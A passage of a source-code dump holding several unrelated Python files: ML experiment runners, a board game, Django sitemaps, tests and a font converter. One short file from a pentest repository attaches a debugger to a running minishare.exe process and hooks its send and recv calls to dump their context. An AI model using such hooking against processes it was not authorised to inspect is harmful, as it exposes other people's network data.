format)\n if resampleID != 0:\n # allLabels = np.concatenate((trainY, testY), axis = None)\n # allData = pd.concat([trainX, testX])\n # train_size = len(trainY) / (len(trainY) + len(testY))\n # trainX, testX, trainY, testY = train_test_split(allData, allLabels,\n # train_size=train_size,\n # random_state=resampleID, shuffle=True,\n # stratify=allLabels)\n trainX, trainY, testX, testY = stratified_resample(\n trainX, trainY, testX, testY, resampleID\n )\n\n le = preprocessing.LabelEncoder()\n le.fit(trainY)\n trainY = le.transform(trainY)\n testY = le.transform(testY)\n if classifier is None:\n classifier = set_classifier(cls_name, resampleID)\n print(cls_name + \" on \" + dataset + \" resample number \" + str(resampleID))\n if build_test:\n # TO DO : use sklearn CV\n start = int(round(time.time() * 1000))\n classifier.fit(trainX, trainY)\n build_time = int(round(time.time() * 1000)) - start\n start = int(round(time.time() * 1000))\n probs = classifier.predict_proba(testX)\n preds = classifier.classes_[np.argmax(probs, axis=1)]\n test_time = int(round(time.time() * 1000)) - start\n ac = accuracy_score(testY, preds)\n print(\n cls_name\n + \" on \"\n + dataset\n + \" resample number \"\n + str(resampleID)\n + \" test acc: \"\n + str(ac)\n + \" time: \"\n + str(test_time)\n )\n # print(str(classifier.findEnsembleTrainAcc(trainX, trainY)))\n if \"Composite\" in cls_name:\n second = \"Para info too long!\"\n else:\n second = str(classifier.get_params())\n second.replace(\"\\n\", \" \")\n second.replace(\"\\r\", \" \")\n\n print(second)\n temp = np.array_repr(classifier.classes_).replace(\"\\n\", \"\")\n\n third = (\n str(ac)\n + \",\"\n + str(build_time)\n + \",\"\n + str(test_time)\n + \",-1,-1,\"\n + str(len(classifier.classes_))\n )\n write_results_to_uea_format(\n second_line=second,\n third_line=third,\n output_path=results_path,\n classifier_name=cls_name,\n resample_seed=resampleID,\n predicted_class_vals=preds,\n actual_probas=probs,\n dataset_name=dataset,\n actual_class_vals=testY,\n split=\"TEST\",\n )\n if train_file:\n start = int(round(time.time() * 1000))\n if build_test and hasattr(\n classifier, \"_get_train_probs\"\n ): # Normally Can only do this if test has been built\n train_probs = classifier._get_train_probs(trainX)\n else:\n train_probs = cross_val_predict(\n classifier, X=trainX, y=trainY, cv=10, method=\"predict_proba\"\n )\n train_time = int(round(time.time() * 1000)) - start\n train_preds = classifier.classes_[np.argmax(train_probs, axis=1)]\n train_acc = accuracy_score(trainY, train_preds)\n print(\n cls_name\n + \" on \"\n + dataset\n + \" resample number \"\n + str(resampleID)\n + \" train acc: \"\n + str(train_acc)\n + \" time: \"\n + str(train_time)\n )\n if \"Composite\" in cls_name:\n second = \"Para info too long!\"\n else:\n second = str(classifier.get_params())\n second.replace(\"\\n\", \" \")\n second.replace(\"\\r\", \" \")\n temp = np.array_repr(classifier.classes_).replace(\"\\n\", \"\")\n third = (\n str(train_acc)\n + \",\"\n + str(train_time)\n + \",-1,-1,-1,\"\n + str(len(classifier.classes_))\n )\n write_results_to_uea_format(\n second_line=second,\n third_line=third,\n output_path=results_path,\n classifier_name=cls_name,\n resample_seed=resampleID,\n predicted_class_vals=train_preds,\n actual_probas=train_probs,\n dataset_name=dataset,\n actual_class_vals=trainY,\n split=\"TRAIN\",\n )\n\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Example simple usage, with arguments input via script or hard coded for testing\n \"\"\"\n print(\" Local Run\")\n results_dir = \"C:/Temp/sktime-dl/\"\n classifier = \"resnet\"\n resample = 0\n # for i in range(0, len(univariate_datasets)):\n # dataset = univariate_datasets[i]\n # # print(i)\n # # print(\" problem = \"+dataset)\n problem=\"ItalyPowerDemand\"\n print(\"Loading \",problem)\n trX, trY = load_UCR_UEA_dataset(problem, split=\"train\", return_X_y=True)\n teX, teY = load_UCR_UEA_dataset(problem, split=\"test\", return_X_y=True)\n tf = False\n run_experiment(\n overwrite=True,\n trainX=trX,\n trainY=trY,\n testX=trX,\n testY=trY,\n results_path=results_dir,\n cls_name=classifier,\n dataset=problem,\n resampleID=resample,\n train_file=tf,\n )\n", "source": "Gjacquenot/sktime-dl", "license": "BSD-3-Clause"} {"text": "from __future__ import print_function\nimport sys\nsys.path.append('..')\nfrom Game import Game\nfrom .KindoLogic import Board\nimport numpy as np\n\n'''\nAuthor: Daniel Scalettar (https://github.com/scalettar/)\nDate: March, 2020\n'''\n\nclass KindoGame(Game):\n '''\n This class specifies the Kindo game.\n It interacts with the Board class which controls the game state.\n '''\n\n # For displaying board in text format\n display_owner = {\n 1: \"x\",\n 0: \" \",\n -1: \"o\"\n }\n display_wallDirection = {\n 1: \".\",\n 2: \":\",\n 3: \".\",\n 4: \":\" \n }\n display_hasDot = {\n True: \"-\",\n False: \" \"\n }\n display_isKing = {\n True: \"K\",\n False: \" \"\n }\n display_isUnwallable = {\n True: \".\",\n False: \" \"\n }\n \n def __init__(self, n=5):\n # Board dimensions n x n\n self.n = n\n # Number of different types of tiles a player can have\n # 0: No wall\n # 1: Wall facing up\n # 2: Wall facing right\n # 3: Wall facing down\n # 4: Wall facing left\n self.tileTypes = 5\n\n def getInitBoard(self):\n \"\"\"\n Returns:\n startBoard: a representation of the board (ideally this is the form\n that will be the input to your neural network)\n \"\"\"\n b = Board(self.n)\n return np.array(b.tiles)\n\n def getBoardSize(self):\n \"\"\"\n Returns:\n (x,y): a tuple of board dimensions\n \"\"\"\n return (self.n, self.n)\n\n def getActionSize(self):\n \"\"\"\n Returns:\n actionSize: number of all possible actions\n \"\"\"\n # 5 different tile placement options, 4 walls or a neutral placement\n # Add 1 action to total; This final index represents no other legal actions\n\n # e.g. for n = 5 (5 x 5 board):\n # STARTING INDICES FOR TILE PLACEMENT ACTIONS FOR EACH TILE (5 actions per tile)\n # \t\t0\t1\t2\t3\t4\n # \t-----------------------\n # 0\t|\t0\t5\t10\t15\t20\n # 1\t|\t25\t30\t35\t40\t45\n # 2\t|\t50\t55\t60\t65\t70\n # 3\t|\t75\t80\t85\t90\t95\n # 4\t|\t100\t105\t110\t115\t120\n # Actions 0 - 124 represent a move of form (x, y, w) flattened into a single index\n # Action 125 is only true if actions 0 - 124 are all invalid\n \n # EXAMPLE 1. \n # A move (x, y, w) = (3, 2, 4) would mean placing a left facing wall \n # in space with x-coordinate = 3 and y-coordinate = 2\n # This move cooresponds with action 85 + 4 = 89\n\n # EXAMPLE 2.\n # Action 90 would coorespond with move (3, 3, 0)\n # This means capturing tile with x-coordinate = 3 and y-coordinate = 3\n # without placing any walls\n return self.n * self.n * self.tileTypes + 1\n\n def getNextState(self, board, player, action):\n \"\"\"\n Input:\n board: current board\n player: current player (1 or -1)\n action: action taken by current player\n\n Returns:\n nextBoard: board after applying action\n nextPlayer: player who plays in the next turn (should be -player)\n \"\"\"\n # Check if no valid actions\n if action == self.getActionSize() - 1:\n # No valid actions, in Kindo this means the game must be over so make no changes\n return (board, player)\n # Create a copy of the current board\n b = Board(self.n)\n b.tiles = np.copy(board)\n # Get move (x, y, w) from flattened action index\n x = int(action / (self.n * self.tileTypes))\n y = int((action % (self.n * self.tileTypes)) / self.tileTypes)\n w = (action % (self.n * self.tileTypes)) % self.tileTypes\n move = (x, y, w)\n # Execute move\n currentPlayerID = b.execute_move(move, player)\n # Return updated state and current player\n return (b.tiles, currentPlayerID)\n \n def getValidMoves(self, board, player):\n \"\"\"\n Input:\n board: current board\n player: current player\n\n Returns:\n validMoves: a binary vector of length self.getActionSize(), 1 for\n moves that are valid from the current board and player,\n 0 for invalid moves\n \"\"\"\n # Array of valid moves to return, initialize to all false (0)\n validMoves = [0] * self.getActionSize()\n # Create a copy of the current board\n b = Board(self.n)\n b.tiles = np.copy(board)\n # Find the legal (valid) moves\n legalMoves = b.get_legal_moves(player)\n # No legal moves found (in Kindo this should only occur when the game is over)\n if len(legalMoves) == 0:\n validMoves[-1] = 1 # last move (action) index means no other moves are valid\n return np.array(validMoves)\n # Create flattened array of valid moves (actions) from legalMoves list\n for x, y, w in legalMoves:\n validMoves[(x * self.n * self.tileTypes) + (y * self.tileTypes) + w] = 1\n # Convert to np array for performance\n return np.array(validMoves)\n\n def getGameEnded(self, board, player):\n \"\"\"\n Input:\n board: current board\n player: current player (1 or -1)\n\n Returns:\n r: 0 if game has not ended. 1 if player won, -1 if player lost,\n small non-zero value for draw.\n \n \"\"\"\n # Create a copy of the current board\n b = Board(self.n)\n b.tiles = np.copy(board)\n # Check if any of the terminal conditions have been reached\n kingCaptured = b.king_captured(player)\n walledIn = b.walled_in(player)\n if kingCaptured == 1 or walledIn == 1:\n # A win condition was satisfied by the player\n return 1\n if kingCaptured == -1 or walledIn == -1:\n # A win condition was satisfied by the opponent\n return -1\n else:\n # Neither player satisfied a win condition\n return 0\n\n def getCanonicalForm(self, board, player):\n \"\"\"\n Input:\n board: current board\n player: current player (1 or -1)\n\n Returns:\n canonicalBoard: returns canonical form of board. The canonical form\n should be independent of player. For e.g. in chess,\n the canonical form can be chosen to be from the pov\n of white. When the player is white, we can return\n board as is. When the player is black, we can invert\n the colors and return the board.\n \"\"\"\n # Create a copy of the current board\n b = Board(self.n)\n b.tiles = np.copy(board)\n # If player 2 swap owner of all tiles on board\n if player == -1:\n b.swap_all_tile_owners()\n # return canonical board\n return np.array(b.tiles)\n\n def getSymmetries(self, board, pi):\n \"\"\"\n Input:\n board: current board\n pi: policy vector of size self.getActionSize()\n\n Returns:\n symmForms: a list of [(board,pi)] where each tuple is a symmetrical\n form of the board and the corresponding pi vector. This\n is used when training the neural network from examples.\n \"\"\"\n # Check for correct pi length\n assert(len(pi) == self.getActionSize())\n pi_board = np.reshape(pi[:-1], (self.n, self.n, self.tileTypes))\n symmetries_list = []\n # Generate symmetries\n for i in range(1, 5):\n for j in [True, False]:\n newB = np.rot90(board, i)\n newPi = np.rot90(pi_board, i)\n if j:\n newB = np.fliplr(newB)\n newPi = np.fliplr(newPi)\n symmetries_list += [(newB, list(newPi.ravel()) + [pi[-1]])]\n return symmetries_list\n\n\n def stringRepresentation(self, board):\n \"\"\"\n Input:\n board: current board\n\n Returns:\n boardString: a quick conversion of board to a string format.\n Required by MCTS for hashing.\n \"\"\"\n board.tostring()\n\n def getScore(self, board, player):\n '''\n Simple evaluation function used by GreedyKindoPlayer to choose action\n '''\n b = Board(self.n)\n b.tiles = np.copy(board)\n return b.get_tilesOwned_dif(player)\n\n @staticmethod\n def display(board):\n '''\n Displays board (see Kindo README.md for explanation)\n '''\n # 0 1 2 3 4 \n # -----------------------------------------\n # | | | | | |\n # 0 | | | | | |\n # | | | | | |\n # -----------------------------------------\n # | | | | | |\n # 1 | | | | | |\n # | | | | | |\n # -----------------------------------------\n # | | | | | |\n # 2 | | | | | |\n # | | | | | |\n # -----------------------------------------\n # | | | | | |\n # 3 | | | | | |\n # | | | | | |\n # -----------------------------------------\n # | | | | | |\n # 4 | | | | | |\n # | | | | | |\n # ----------------------------------------- \n n = board.shape[0]\n b = Board(n)\n b.tiles = np.copy(board)\n # Print number of moves for each player\n # Player 1 Moves: current turn | next turn\n # Player 2 Moves: current turn | next turn\n print(\"Player 1 Moves:\", b.tiles[n-1, 0, 6], \"|\", b.tiles[n-1, 0, 7])\n print(\"Player -1 Moves:\", b.tiles[0, n-1, 6], \"|\", b.tiles[0, n-1, 7])\n print(\"____________________________________________\")\n print(\"\")\n # Print y-coordinate key\n print(\" \", end=\"\")\n for y in range(n):\n print(y, end=\" \")\n # Print top board border\n print(\"\")\n print(\" -----------------------------------------\")\n # Iterate over rows x\n for x in range(n):\n owner = []\n wallDirection = []\n hasDot = []\n isKing = []\n isUnwallable = []\n # Get tile values\n for y in range(n):\n owner.append(board[x, y, 0])\n wallDirection.append(board[x, y, 1])\n hasDot.append(board[x, y, 2])\n isKing.append(board[x, y, 3])\n isUnwallable.append(board[x, y, 4])\n # Print top line of row x\n print(\" |\", end=\"\")\n for y in range(n):\n # Get tile values at index y\n o = owner[y]\n wD = wallDirection[y]\n hD = hasDot[y]\n iK = isKing[y]\n iU = isUnwallable[y]\n # First\n print(\" \", end=\"\")\n # Second (top left)\n if iU:\n print(KindoGame.display_isUnwallable[iU], end=\"\")\n elif wD == 1 or wD == 4:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Third\n if wD == 1:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Fourth (top middle)\n if iK == True:\n print(KindoGame.display_isKing[iK], end=\"\")\n elif wD == 1:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n elif hD == True:\n print(KindoGame.display_hasDot[hD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Fifth\n if wD == 1:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Sixth (top right)\n if isUnwallable[y]:\n print(KindoGame.display_isUnwallable[iU], end=\"\")\n elif wD == 1 or wD == 2:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Seventh\n print(\" |\", end=\"\")\n print(\"\")\n # Print middle line of row x\n print(\"\", x, \"|\", end=\"\")\n for y in range(n):\n # Get tile values at index y\n o = owner[y]\n wD = wallDirection[y]\n hD = hasDot[y]\n iK = isKing[y]\n iU = isUnwallable[y]\n # First\n print(\" \", end=\"\")\n # Second (middle left)\n if iK == True:\n print(KindoGame.display_isKing[iK], end=\"\")\n elif wD == 4:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n elif hD == True:\n print(KindoGame.display_hasDot[hD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Third\n print(\" \", end=\"\")\n # Fourth (middle middle i.e. center)\n print(KindoGame.display_owner[o], end=\"\")\n # Fifth\n print(\" \", end=\"\")\n # Sixth (middle right)\n if iK == True:\n print(KindoGame.display_isKing[iK], end=\"\")\n elif wD == 2:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n elif hD == True:\n print(KindoGame.display_hasDot[hD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Seventh\n print(\" |\", end=\"\")\n print(\"\")\n # Print bottom line of row x\n print(\" |\", end=\"\")\n for y in range(n):\n # Get tile values at index y\n o = owner[y]\n wD = wallDirection[y]\n hD = hasDot[y]\n iK = isKing[y]\n iU = isUnwallable[y]\n # First\n print(\" \", end=\"\")\n # Second (bottom left)\n if iU == True:\n print(KindoGame.display_isUnwallable[iU], end=\"\")\n elif wD == 3 or wD == 4:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Third\n if wD == 3:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Fourth (bottom middle)\n if iK == True:\n print(KindoGame.display_isKing[iK], end=\"\")\n elif wD == 3:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n elif hD == True:\n print(KindoGame.display_hasDot[hD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Fifth\n if wD == 3:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Sixth (bottom right)\n if iU == True:\n print(KindoGame.display_isUnwallable[iU], end=\"\")\n elif wD == 2 or wD == 3:\n print(KindoGame.display_wallDirection[wD], end=\"\")\n else:\n print(\" \", end=\"\")\n # Seventh\n print(\" |\", end=\"\")\n print(\"\")\n # Print bottom boarder of row tiles\n print(\" -----------------------------------------\")", "source": "scalettar/alpha-zero-kindo", "license": "MIT"} {"text": "from pydbg import *\r\nfrom pydbg.defines import *\r\n\r\ndef bp_process_recv(dbg):\r\n print 'Recv Called!!'\r\n print dbg.dump_context(dbg.context)\r\n return DBG_CONTINUE\r\n\r\ndef bp_process_send(dbg):\r\n print 'Send Called!!'\r\n print dbg.dump_context(dbg.context)\r\n return DBG_CONTINUE\r\n\r\ndbg = pydbg()\r\nfor pid, name in dbg.enumerate_processes():\r\n if name == 'minishare.exe':\r\n dbg.attach(pid)\r\n\r\nsend_api = dbg.func_resolve('ws2_32', 'send')\r\nrecv_api = dbg.func_resolve('ws2_32', 'recv')\r\ndbg.bp_set(send_api, handler=bp_process_send)\r\ndbg.bp_set(recv_api, handler=bp_process_recv)\r\ndbg.run()\r\n", "source": "galletitaoreo/PythonPentest", "license": "MIT"} {"text": "# file findingaids/fa/sitemaps.py\n#\n# Copyright 2012 Emory University Library\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom django.contrib.sitemaps import Sitemap\nfrom django.core.urlresolvers import reverse\n\nfrom findingaids.fa.models import FindingAid, Series, Series2, \\\n Series3, Index\n\n\nclass _BaseFindingAidSitemap(Sitemap):\n # base findingaid sitemap object with common functionality\n priority = 0.5 # default priority\n view_name = ''\n\n def url_args(self, obj):\n return {}\n\n def location(self, obj):\n return reverse(self.view_name,\n kwargs=self.url_args(obj))\n\n def lastmod(self, obj):\n return obj.last_modified\n\n\nclass FindingAidSitemap(_BaseFindingAidSitemap):\n priority = 0.6 # main findingaid page should be highest priority\n view_name = 'fa:findingaid'\n\n def items(self):\n return FindingAid.objects.only('eadid', 'last_modified')\n\n def url_args(self, obj):\n return {'id': obj.eadid}\n\n\nclass PDFSitemap(FindingAidSitemap):\n # same query as findingaids, different url and priority\n priority = 0.5\n view_name = 'fa:printable'\n\n\nclass EADXMLSitemap(FindingAidSitemap):\n # same query as findingaids & PDF, different url and priority\n # Not sure if exposing XML in sitemaps is useful, so setting\n # priority fairly low\n priority = 0.3\n view_name = 'fa:eadxml'\n\n\nclass SeriesSitemap(_BaseFindingAidSitemap):\n # sitemap for findingaid series that are displayed on their\n # own pages\n view_name = 'fa:series-or-index'\n\n def items(self):\n return Series.objects.filter(level='series') \\\n .only('id', 'ead__eadid', 'last_modified')\n\n def url_args(self, obj):\n return {'id': obj.ead.eadid, 'series_id': obj.short_id}\n\n\nclass IndexSitemap(SeriesSitemap):\n # sitemap for index entry pages, for findingaids that have them\n # same url format as series, different query\n\n def items(self):\n # FIXME: this filter is a bit of a cheat:\n # what we really want is a not empty/exists, or a not filter\n # (NOTE: indexentry without an id probably shouldn't be loaded,\n # but filter them out to avoid the sitemap breaking for them.)\n return Index.objects.filter(id__contains='_') \\\n .only('id', 'ead__eadid', 'last_modified')\n\n\nclass SubseriesSitemap(_BaseFindingAidSitemap):\n # sitemap for findingaid subseries that are displayed on their\n # own pages\n\n view_name = 'fa:series2'\n\n def items(self):\n return Series2.objects.filter(level='subseries') \\\n .only('id', 'ead__eadid', 'series__id', 'last_modified')\n\n def url_args(self, obj):\n return {\n 'id': obj.ead.eadid,\n 'series_id': obj.series.short_id,\n 'series2_id': obj.short_id\n }\n\n\nclass SubsubseriesSitemap(_BaseFindingAidSitemap):\n # same as subseries, but for sub-subseries\n view_name = 'fa:series3'\n\n def items(self):\n return Series3.objects.filter(level='subseries') \\\n .only('id', 'ead__eadid', 'series__id',\n 'series2__id', 'last_modified')\n\n def url_args(self, obj):\n return {\n 'id': obj.ead.eadid,\n 'series_id': obj.series.short_id,\n 'series2_id': obj.series2.short_id,\n 'series3_id': obj.short_id\n }\n\n\n# dictionary of sitemap objects for use with sitemap views\nFINDINGAID_SITEMAPS = {\n 'findingaids': FindingAidSitemap,\n 'findingaids-pdf': PDFSitemap,\n 'findingaids-eadxml': EADXMLSitemap, # maybe\n 'findingaids-series': SeriesSitemap,\n 'findingaids-subseries': SubseriesSitemap,\n 'findingaids-subsubseries': SubsubseriesSitemap,\n 'findingaids-index': IndexSitemap,\n}\n", "source": "emory-libraries/findingaids", "license": "Apache-2.0"} {"text": "import errno\nimport mock\n\nfrom gears.compat import StringIO\nfrom gears.manifest import Manifest\n\nfrom unittest2 import TestCase\n\n\n@mock.patch('gears.compat.builtins.open')\nclass ManifestTests(TestCase):\n\n def test_loads_data(self, open):\n open.return_value.__enter__.return_value = StringIO(\"\"\"{\n \"files\": {\n \"css/style.css\": \"css/style.123456.css\",\n \"js/script.js\": \"js/script.654321.js\"\n }\n }\"\"\")\n manifest = Manifest('manifest.json')\n self.assertEqual(manifest.files, {\n 'css/style.css': 'css/style.123456.css',\n 'js/script.js': 'js/script.654321.js',\n })\n\n def test_fails_silently_if_file_not_found(self, open):\n open.side_effect = IOError(errno.ENOENT, 'No such file or directory')\n manifest = Manifest('manifest.json')\n", "source": "gears/gears", "license": "0BSD"} {"text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport fontforge # noqa\nimport os\nimport multiprocessing as mp\nimport argparse\n\n# conda deactivate\n# apt install python3-fontforge\n\ndef convert_mp(opts):\n \"\"\"Useing multiprocessing to convert all fonts to sfd files\"\"\"\n alphabet_chars = opts.alphabet\n fonts_file_path = opts.ttf_path\n sfd_path = opts.sfd_path\n for root, dirs, files in os.walk(os.path.join(opts.ttf_path, opts.split)):\n ttf_fnames = files\n #print(ttf_fnames)\n font_num = len(ttf_fnames)\n process_nums = mp.cpu_count() - 2\n if font_num // process_nums < 1:\n process_nums = font_num\n font_num_per_process = min(font_num // process_nums, 1)\n else:\n font_num_per_process = font_num // process_nums\n\n def process(process_id, font_num_p_process):\n for i in range(process_id * font_num_p_process, (process_id + 1) * font_num_p_process):\n if i >= font_num:\n break\n \n font_id = ttf_fnames[i].split('.')[0]\n split = opts.split\n font_name = ttf_fnames[i]\n \n font_file_path = os.path.join(fonts_file_path, split, font_name)\n try:\n cur_font = fontforge.open(font_file_path)\n except Exception as e:\n print('Cannot open', font_name)\n print(e)\n continue\n\n target_dir = os.path.join(sfd_path, split, \"{}\".format(font_id))\n if not os.path.exists(target_dir):\n os.makedirs(target_dir)\n\n for char_id, char in enumerate(alphabet_chars):\n char_description = open(os.path.join(target_dir, '{}_{:02d}.txt'.format(font_id, char_id)), 'w')\n\n cur_font.selection.select(char)\n cur_font.copy()\n\n new_font_for_char = fontforge.font()\n new_font_for_char.selection.select(char)\n new_font_for_char.paste()\n new_font_for_char.fontname = \"{}_\".format(font_id) + font_name\n\n new_font_for_char.save(os.path.join(target_dir, '{}_{:02d}.sfd'.format(font_id, char_id)))\n\n char_description.write(str(ord(char)) + '\\n')\n char_description.write(str(new_font_for_char[char].width) + '\\n')\n char_description.write(str(new_font_for_char[char].vwidth) + '\\n')\n char_description.write('{:02d}'.format(char_id) + '\\n')\n char_description.write('{}'.format(font_id))\n\n char_description.close()\n\n cur_font.close()\n\n processes = [mp.Process(target=process, args=(pid, font_num_per_process)) for pid in range(process_nums + 1)]\n\n for p in processes:\n p.start()\n for p in processes:\n p.join()\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Convert ttf fonts to sfd fonts\")\n parser.add_argument(\"--alphabet\", type=str, default='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz')\n parser.add_argument(\"--ttf_path\", type=str, default='font_ttfs')\n parser.add_argument('--sfd_path', type=str, default='font_sfds')\n parser.add_argument('--split', type=str, default='train')\n opts = parser.parse_args()\n\n convert_mp(opts)\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "yizhiwang96/deepvecfont", "license": "MIT"} {"text": "import numpy as np\nfrom baselines.deepq.experiments.atari.knn_cuda_fixmem import knn as knn_cuda_fixmem\nimport copy\n\n\n# each action -> a lru_knn buffer\n# alpha is for updating the internal reward i.e. count based reward\nclass LRU_KNN_GPU_BP_2(object):\n def __init__(self, capacity, z_dim, env_name, action, num_actions=6, knn=4, debug=True, alpha=0.1, beta=0.01):\n self.action = action\n self.alpha = alpha\n self.beta = beta\n self.env_name = env_name\n self.capacity = capacity\n self.num_actions = num_actions\n self.rmax = 100000\n self.states = np.empty((capacity, z_dim), dtype=np.float32)\n self.external_value = -self.rmax * np.ones((capacity, num_actions))\n self.state_value = -self.rmax * np.ones(capacity)\n self.reward = np.zeros((capacity, num_actions))\n self.done = np.zeros((capacity, num_actions), dtype=np.bool)\n self.newly_added = np.ones((capacity, num_actions), dtype=np.bool)\n self.internal_value = np.zeros((capacity, num_actions))\n self.prev_id = [[] for _ in range(capacity)]\n self.next_id = -1 * np.ones((capacity, num_actions), dtype=np.int32)\n self.debug = debug\n self.count = np.zeros((capacity, num_actions))\n self.lru = np.zeros(capacity)\n # self.best_action = np.zeros((capacity, num_actions), dtype=np.int)\n self.curr_capacity = 0\n self.tm = 0.0\n self.threshold = 1e-7\n self.knn = knn\n # self.beta = beta\n self.address = knn_cuda_fixmem.allocate(capacity, z_dim, 32, knn)\n\n def peek(self, key):\n if self.curr_capacity == 0:\n return -1\n # print(np.array(key).shape)\n key = np.array(key, copy=True)\n if len(key.shape) == 1:\n key = key[np.newaxis, ...]\n dist, ind = knn_cuda_fixmem.knn(self.address, key, 1, self.curr_capacity)\n dist, ind = np.transpose(dist), np.transpose(ind - 1)\n ind = ind[0][0]\n if dist[0][0] < self.threshold:\n return ind\n return -1\n\n def act_value(self, key, knn):\n knn = min(self.curr_capacity, knn)\n internal_values = []\n external_values = []\n exact_refer = []\n if knn < 1:\n for i in range(len(key)):\n internal_values.append(np.zeros(self.num_actions))\n external_values.append(-self.rmax * np.ones(self.num_actions))\n exact_refer.append(False)\n return external_values, internal_values, np.array(exact_refer)\n\n key = np.array(key, copy=True)\n if len(key.shape) == 1:\n key = key[np.newaxis, ...]\n dist, ind = knn_cuda_fixmem.knn(self.address, key, knn, self.curr_capacity)\n dist, ind = np.transpose(dist), np.transpose(ind - 1)\n # print(dist.shape, ind.shape, len(key), key.shape)\n # print(\"nearest dist\", dist[0][0])\n external_values = -self.rmax * np.ones(self.num_actions)\n internal_values = np.zeros(self.num_actions)\n for i in range(len(dist)):\n coeff = np.exp(dist[i])\n coeff = coeff / np.sum(coeff)\n if dist[i][0] < self.threshold:\n if self.debug:\n print(\" \")\n print(\"peek in act \", ind[i][0], flush=True)\n exact_refer.append(True)\n external_values = copy.deepcopy(self.external_value[ind[i][0]])\n internal_values = copy.deepcopy(self.internal_value[ind[i][0]])\n self.lru[ind[i][0]] = self.tm\n self.tm += 0.01\n break\n else:\n exact_refer.append(False)\n for j, index in enumerate(ind[i]):\n self.lru[index] = self.tm\n self.tm += 0.01\n\n return external_values, internal_values, np.array(exact_refer)\n\n def add_edge(self, src, des, action, reward, done, external_value, internal_value):\n self.prev_id[des].append((src, action))\n self.next_id[src, action] = des\n self.external_value[src, action] = external_value\n self.internal_value[src, action] = internal_value\n self.reward[src, action] = reward\n self.done[src, action] = done\n self.newly_added[src, action] = True\n\n def add_node(self, key):\n # print(np.array(key).shape)\n if self.curr_capacity >= self.capacity:\n # find the LRU entry\n old_index = np.argmin(self.lru)\n for successor in self.next_id[old_index]:\n for s, a in self.prev_id[successor]:\n if s == old_index:\n self.prev_id.remove((s, a))\n self.states[old_index] = key\n self.external_value[old_index] = -self.rmax * np.ones(self.num_actions)\n self.internal_value[old_index] = np.zeros(self.num_actions)\n self.state_value[old_index] = -self.rmax\n self.lru[old_index] = self.tm\n self.count[old_index] = 2\n self.prev_id = []\n knn_cuda_fixmem.add(self.address, old_index, np.array(key))\n self.tm += 0.01\n return old_index\n\n else:\n self.states[self.curr_capacity] = key\n self.lru[self.curr_capacity] = self.tm\n self.count[self.curr_capacity] = 2\n knn_cuda_fixmem.add(self.address, self.curr_capacity, np.array(key))\n self.curr_capacity += 1\n self.tm += 0.01\n\n return self.curr_capacity - 1\n\n def value_iteration(self, gamma):\n e = 1\n while e > 1e-5:\n e = 0\n temporary_value = copy.deepcopy(self.state_value[:self.curr_capacity])\n for s in range(self.curr_capacity):\n new_value = temporary_value[s]\n for a in range(self.num_actions):\n if self.next_id[s, a] > 0:\n # print(\"what?\", s, a)\n # print(\"what??\", self.next_id[s, a])\n new_value = max(new_value,\n self.reward[s, a] + gamma * self.state_value[\n self.next_id[s, a]])\n e = max(new_value - temporary_value[s], e)\n temporary_value[s] = new_value\n self.state_value[:self.curr_capacity] = copy.deepcopy(temporary_value)\n\n for s in range(self.curr_capacity):\n for a in range(self.num_actions):\n if self.next_id[s, a] > 0:\n self.external_value[s, a] = self.reward[s, a] + gamma * self.state_value[self.next_id[s, a]]\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 20 10:34:31 2020\n\n@author: lukepinkel\n\"\"\"\n\nimport timeit # analysis:ignore\nimport numpy as np # analysis:ignore\nimport scipy as sp # analysis:ignore\nimport seaborn as sns # analysis:ignore\nimport matplotlib as mpl# analysis:ignore\nfrom ..pylmm.lmm import LME # analysis:ignore\nfrom ..pylmm.model_matrices import vech2vec, get_jacmats2, jac2deriv # analysis:ignore\nimport scipy.sparse as sps # analysis:ignore\nimport matplotlib.pyplot as plt# analysis:ignore\nfrom sksparse.cholmod import cholesky # analysis:ignore\nfrom .test_data import generate_data # analysis:ignore\nfrom ..utilities.random_corr import vine_corr # analysis:ignore\nfrom ..utilities.linalg_operations import invech, vech, scholesky # analysis:ignore\nfrom ..utilities.special_mats import (kronvec_mat, dmat)# analysis:ignore\n\n\n\nformula = \"y~x1+x5-1+(1+x2|id1)+(1|id2)+(1+x3+x4|id3)\"\nmodel_dict = {}\nmodel_dict['gcov'] = {'id1':invech(np.array([1., 0.2, 1.])),\n 'id2':np.array([[1.0]]),\n 'id3':invech(np.array([1., -0.2, -0.2 , 1., 0.3, 1.]))}\n\nmodel_dict['ginfo'] = {'id1':dict(n_grp=200, n_per=20),\n 'id2':dict(n_grp=50 , n_per=80),\n 'id3':dict(n_grp=100, n_per=40)}\n \nmodel_dict['mu'] = np.zeros(5)\nmodel_dict['vcov'] = 